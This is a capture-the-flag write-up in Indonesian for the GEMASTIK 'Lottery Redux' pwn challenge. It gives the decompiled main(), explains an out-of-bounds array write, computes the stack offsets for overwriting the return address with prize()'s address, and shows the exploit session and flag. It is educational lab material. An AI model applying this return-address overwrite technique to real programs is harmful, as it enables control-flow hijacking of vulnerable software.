Lottery Redux - 150 Points

nc target.netsec.gemastik.ui.ac.id 60007

POC

Diberikan sebuah file binary 64 bit not striped yang meminta inputan pengguna ke slot dan nilai nya akan dibandingkan dengan nilai random range(0,9) dan apabila 7 kali benar akan memanggil fungsi prize() .

Berikut hasil decompile nya

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ebp@0
  int v4; // eax@9
  int result; // eax@20
  __int64 v6; // rsi@20
  int v7; // [sp+4h] [bp-CCh]@5
  int v8; // [sp+8h] [bp-C8h]@10
  int i; // [sp+Ch] [bp-C4h]@1
  int v10; // [sp+10h] [bp-C0h]@5
  unsigned int seed; // [sp+14h] [bp-BCh]@1
  FILE *stream; // [sp+18h] [bp-B8h]@1
  int s[12]; // [sp+20h] [bp-B0h]@1
  int v14[12]; // [sp+50h] [bp-80h]@1
  char ptr; // [sp+80h] [bp-50h]@1
  __int64 v16; // [sp+C8h] [bp-8h]@1

  v16 = *MK_FP(__FS__, 40LL);
  stream = fopen("/dev/urandom", "r");
  fread(&ptr, 1uLL, 0x40uLL, stream);
  fclose(stream);
  seed = v3 - 80;
  srand(v3 - 80);
  memset(s, -1, 0x28uLL);
  memset(v14, -1, 0x28uLL);
  for ( i = 0; i <= 9; ++i )
    s[i] = rand() % 10;
  puts("Lottery Machine v2.0\n");
  puts("Guess 7 slot out of 10");
  print_slot(v14, 0xFFFFFFFFLL);
  for ( i = 0; i <= 6; ++i )
  {
    v7 = 0;
    v10 = 0;
    while ( v7 <= 0 )
    {
      v4 = v10++;
      if ( v4 > 99 )
        break;
      printf("Choose slot index (1-10) : ");
      __isoc99_scanf("%d", &v7);
      if ( v7 <= 0 )
        puts("Invalid Index");
    }
    printf("Guess the number (0-9) : ");
    __isoc99_scanf("%d", &v8);
    v14[--v7] = v8;
    print_slot(v14, &v8);
  }
  for ( i = 0; i <= 9; ++i )
  {
    if ( v14[i] == s[i] )
      ++right;
  }
  if ( right == 7 )
    prize();
  else
    puts("Better Luck Next Time");
  result = 0;
  v6 = *MK_FP(__FS__, 40LL) ^ v16;
  return result;
}

Dapat dipastikan binary tersebut vulnerable Array out of bounds karena mengijinkan pengguna untuk meninpput data pada index ke-n, sehingga pengguna dapat memanipulasi nilai2 yang berada di stack.

Tujuan utamanya adalah mengoverwrite return address yang berada di rbp+8 dengan address dari &prize.

Pada gdb pasang breakpoint pada intruksi saat nilai nya di store ke memory

0x400ba9 <main+503>: mov DWORD PTR [rbp+rax*4-0x80],edx

Rax berisi slot dan rdx berisi nilai

gdb-peda$ p $rax 
$1 = 0x538 
gdb-peda$ p $rdx 
$2 = 0x64

Yang dicari adalah nilai rax (inputan slot) ke berapa yang akan menimpa return address Berikut persamaan yang digunakan untuk mengover write return address di rbp+8

rbp+rax*4-0x80 = rbp+8
Rax = (8+0x80)/4
Rax = 34

Didapatkan 34 nilai rax nya, dan harus ditambah +1 sehingga menjadi 35 karena index akan didecrement jadi 33 apabila tidak ditambahan.

Inputan slot 35 dan angka 4196614 (alamat prize) akan menimbulkan seg fault karena alamat return address nya seperti berikut

si_addr=0x7f3200400906

Sehingga harus dioverwrite juga nilai yang berada di rbp+12 dengan 0 , agar nilai return address nya menjadi 0x000000400906.

Perhitungan nya sama seperti diatas. Sehingga didapatkan 35 dan harus ditambahkan +1 lagi sehingga menjadi 36. Setelah menginput ke slot 36 dengan 0 return address nya sudah mengarah ke fungsi &prize.

gdb-peda$ x/gx $rbp+0x8
0x7fffffffde88:    0x0000000000400906
nc target.netsec.gemastik.ui.ac.id 60007
Lottery Machine v2.0

Guess 7 slot out of 10

  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Choose slot index (1-10) : 35
Guess the number (0-9) : 4196614

  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Choose slot index (1-10) : 36
Guess the number (0-9) : 0

  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Choose slot index (1-10) : 1
Guess the number (0-9) : 1

  1  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Choose slot index (1-10) : 1
Guess the number (0-9) : 1

  1  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Choose slot index (1-10) : 1
Guess the number (0-9) : 1

  1  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Choose slot index (1-10) : 1
Guess the number (0-9) : 1

  1  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Choose slot index (1-10) : 1
Guess the number (0-9) : 1

  1  ?  ?  ?  ?  ?  ?  ?  ?  ?
  -  -  -  -  -  -  -  -  -  -
  1  2  3  4  5  6  7  8  9  10

Better Luck Next Time
YOU WON!!!
Here is your prize :
GEMASTIK{array_out_of_bound_is_still_popular_vuln_everywh3r3__}

Flag: GEMASTIK{array_out_of_bound_is_still_popular_vuln_everywh3r3__}

results matching ""

    No results matching ""